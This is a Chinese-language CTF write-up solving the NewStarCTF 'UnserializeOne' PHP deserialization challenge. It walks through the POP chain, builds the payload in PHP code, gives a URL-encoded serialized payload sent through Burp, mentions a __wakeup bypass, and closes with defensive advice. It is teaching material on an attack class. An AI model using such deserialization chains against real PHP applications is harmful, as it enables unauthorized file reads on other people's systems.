当前位置: 首页 > news >正文

保姆级教程:从零手把手教你复现NewStarCTF那道PHP反序列化题(UnserializeOne)

从零构建PHP反序列化漏洞实战:NewStarCTF UnserializeOne深度解析

第一次接触CTF中的PHP反序列化题目时,那种既兴奋又困惑的感觉至今难忘。看着其他选手轻松解出题目,而自己却连魔术方法的调用顺序都理不清——这或许是许多Web安全新手的共同经历。本文将以NewStarCTF的UnserializeOne为例,带你从环境搭建到Payload构造,完整走一遍反序列化漏洞的实战流程。不同于简单的解题思路复述,我们将重点关注那些教程中很少提及的"坑点":为什么私有属性需要修改?序列化字符串中的数字代表什么?当Payload不生效时该如何调试?

1. 环境准备与基础认知

1.1 搭建PHP测试环境

推荐使用Docker快速搭建隔离的测试环境,避免污染本地配置。以下命令会创建一个包含PHP 7.4和必要扩展的容器:

docker run -dit --name php-test -p 8080:80 -v "$PWD":/var/www/html php:7.4-apache

验证环境是否正常工作:

  1. 在项目目录创建info.php文件,内容为<?php phpinfo(); ?>
  2. 访问http://localhost:8080/info.php应显示PHP配置信息

1.2 魔术方法核心概念

PHP反序列化的关键在于理解这些特殊方法(魔术方法)的触发时机:

魔术方法触发条件典型用途
__construct()对象创建时初始化属性
__destruct()对象销毁时资源释放,常见漏洞入口
__toString()对象被当作字符串使用时字符串转换逻辑
__invoke()对象被当作函数调用时本案例中获取flag的关键
__isset()对不可访问属性调用isset()时属性访问控制
__call()调用不可访问方法时方法重定向

提示:在实际CTF比赛中,__wakeup()常常是绕过的重点,但本题未涉及

2. 题目代码深度解析

2.1 类结构拆解

题目包含四个关键类,我们需要分析它们的交互关系:

class Start { public $name; protected $func; // 析构时输出欢迎信息 public function __destruct() { /* ... */ } // 检查不可访问属性时触发 public function __isset($var) { /* ... */ } } class Sec { private $obj; private $var; // 对象被当作字符串时触发 public function __toString() { /* ... */ } // 对象被当作函数调用时触发(目标方法) public function __invoke() { /* ... */ } } class Easy { public $cla; // 调用不存在方法时触发 public function __call($fun, $var) { /* ... */ } } class eeee { public $obj; // 对象克隆时触发 public function __clone() { /* ... */ } }

2.2 攻击链(POP Chain)构建思路

我们的目标是触发Sec::__invoke()来读取flag,按照以下逻辑逆向推导:

  1. 最终目标:执行$x()形式的调用(触发__invoke)
  2. 触发路径
    • Start::__isset()($this->func)()可触发
    • 需要让func成为Sec对象
  3. 如何触发__isset
    • eeee::__clone()isset($this->obj->cmd)会触发
    • 需要obj是Start对象(因为cmd属性不存在)
  4. 如何触发__clone
    • Easy::__call()clone $var[0]会触发
  5. 如何触发__call
    • Sec::__toString()$this->obj->check()会触发
    • 需要obj是Easy对象(check方法不存在)
  6. 如何触发__toString
    • Start::__destruct()echo $this->name会触发
    • 需要name是Sec对象

3. 分步构造Payload

3.1 基础对象初始化

首先创建入口对象并设置基本属性:

$start = new Start(); $start->name = new Sec(); // 为触发__toString $start->name->obj = new Easy(); // 为触发__call $start->name->var = new eeee(); // 为触发__clone

3.2 属性访问链配置

继续完善对象间的引用关系:

$start->name->var->obj = new Start(); // 为触发__isset $start->name->var->obj->func = new Sec(); // 最终触发__invoke

3.3 处理访问修饰符问题

PHP序列化时会严格处理访问控制修饰符。观察原始代码:

  • Sec::$objSec::$var是private
  • Start::$func是protected

我们需要调整属性为public才能外部操作:

class Sec { public $obj; public $var; /* ... */ } class Start { public $name; public $func; /* ... */ }

3.4 生成序列化字符串

使用serialize()函数生成Payload:

echo urlencode(serialize($start));

得到的序列化字符串结构分析:

O:5:"Start":2:{ s:4:"name";O:3:"Sec":2:{ s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;} s:3:"var";O:4:"eeee":1:{ s:3:"obj";O:5:"Start":2:{ s:4:"name";N; s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;} } } } s:4:"func";N; }

注意:实际使用时需要去除换行和空格,这里格式化是为了可读性

4. 实战测试与调试技巧

4.1 使用Burp Suite发送Payload

  1. 拦截浏览器请求(建议使用Firefox)
  2. 修改POST参数:
    POST /target.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded pop=O%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A3%3A%22obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3BO%3A4%3A%22eeee%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A4%3A%22func%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A3%3A%22obj%22%3BN%3Bs%3A3%3A%22var%22%3BN%3B%7D%7D%7Ds%3A4%3A%22func%22%3BN%3B%7D

4.2 常见问题排查

当Payload未生效时,按以下步骤检查:

  1. 属性可见性:确保所有需要的属性都是public
  2. 字符串长度:序列化中的s:4等数字必须与实际字符串长度匹配
  3. 魔术方法触发顺序:添加日志输出验证调用链
    class Sec { public function __invoke() { file_put_contents('debug.log', '__invoke triggered', FILE_APPEND); echo file_get_contents('/flag'); } }
  4. 特殊字符处理:使用urlencode()处理POST参数

5. 防御方案与进阶思考

5.1 安全开发建议

如果需要在项目中实现反序列化:

  • 使用json_decode()替代unserialize()
  • 实现__wakeup()方法重置敏感属性
  • 限制反序列化的类白名单
    ini_set('unserialize_callback_func', 'class_filter'); function class_filter($classname) { $allowed = ['SafeClass1', 'SafeClass2']; if (!in_array($classname, $allowed)) { throw new Exception("Unsafe class"); } }

5.2 CTF中的变种题型

掌握基础POP链后,可以挑战更复杂的变种:

  1. 属性修饰符绕过:利用C字符表示private属性
    O:3:"Sec":2:{s:6:"%00Sec%00obj";N;s:6:"%00Sec%00var";N;}
  2. __wakeup绕过:通过修改对象计数触发CVE-2016-7124
  3. 自定义序列化处理器:实现Serializable接口的类

在本地测试时,修改后的完整攻击脚本应该包含所有类定义和序列化逻辑。记得在实际CTF比赛中,通常需要将生成的Payload通过Web接口提交,而不是直接运行PHP脚本。

http://www.jsqmd.com/news/1096616/

相关文章:

  • 3D Gaussian Splatting(从零到一的实践指南)
  • 20美元打造超声波定向扬声器:DIY爱好者的完整制作指南
  • Zero Padding:不只是尺寸对齐,更是CNN的“边界守卫”
  • 自动匹配高被引权威文献:gradpaper 如何保障学术内容质量?
  • 私有 Markdown 笔记部署:Docker 一键部署 Memos 笔记
  • 网络即生命线:智能运维引领企业网络监控新纪元
  • 如何高效下载国家中小学智慧教育平台电子课本:终极免费工具指南
  • Bebas Neue字体完整教程:从零开始掌握这款免费开源标题字体的终极指南
  • 【Python】内存探秘:从变量到容器,用sys.getsizeof剖析内存占用真相
  • 分布式存储一致性实战:Raft 协议在百万级集群中的“反直觉“陷阱
  • 西平全案装修亲测:拎包入住细节复盘
  • STM32G4的FDCAN滤波器到底怎么配?手把手教你用HAL库搞定数据帧和广播帧过滤
  • 智慧校园数字化改造实战:智能锁身份核验+通断电联动,解决宿舍教室安全与运维痛点
  • 机器学习工程化:可复现实验流程的系统性设计方法
  • 如何在5分钟内用EfficientNet-PyTorch完成终极图像分类任务
  • 告别默认界面!新版MyDockFinder深度定制指南:从“资源管理器”到完美仿Mac
  • Windows系统文件api-ms-win-core-path-l1-1-0.dll丢失找不到问题解决
  • 【鸿蒙 PC三方库构建系统】解决 OpenHarmony SHA 库编译问题:从动态链接错误到静态链接优化
  • 独立站全流程运营自动化实战:Web 端 MCP 协议配置与 AI Agent 非侵入式架构选型指南
  • 从模拟到数字:音频接口的演进与选型指南
  • 手把手教你复现Juniper SRX的CVE-2023-36845漏洞(附EXP与FOFA语法)
  • 深入解析fullPage.js:从模块化架构设计到企业级全屏滚动解决方案
  • 像素级还原与微交互:从设计稿到代码的毫米级精度实践
  • 系统调用与字符设备驱动:从内核态切换到硬件交互的全链路实战
  • Agent可观测性工程:给AI装上仪表盘
  • 从草图到实体:探索BimAnt在线3D CAD的BRep内核与几何约束求解
  • STM32F103C8T6 ADC调试实战:从EOC标志位卡死到稳定采样的解决之道
  • 如何用ncmdump轻松解锁网易云音乐NCM加密格式:终极免费转换指南
  • 基于Unity 3D + C#实现的宗祠文化主题重阳节虚拟展馆交互漫游系统
  • PKHeX自动化合法性插件深度解析:技术原理与实战应用指南